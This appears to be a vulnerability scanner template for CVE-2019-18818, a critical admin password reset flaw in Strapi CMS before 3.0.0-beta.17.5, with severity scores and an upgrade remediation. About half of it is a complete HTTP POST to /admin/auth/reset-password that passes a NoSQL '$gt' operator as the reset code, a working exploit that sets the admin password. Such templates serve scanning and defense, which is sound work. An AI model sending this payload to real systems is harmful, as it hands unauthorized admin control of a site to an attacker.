| Title | strapi CMS <3.0.0-beta.17.5 - Admin Password Reset |
|---|---|
| Author | idealphase |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel. |
| Remediation | Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94045 |
| CVE ID | CVE-2019-18818 |
| CWE ID | CWE-640 |
| Tags | cve cve2019 strapi auth-bypass intrusive edb vkev vuln |
strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
POST /admin/auth/reset-password HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
Connection: close
Content-Length: 104
Content-Type: application/json
Origin: http://www.victim.com
Accept-Encoding: gzip
{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}
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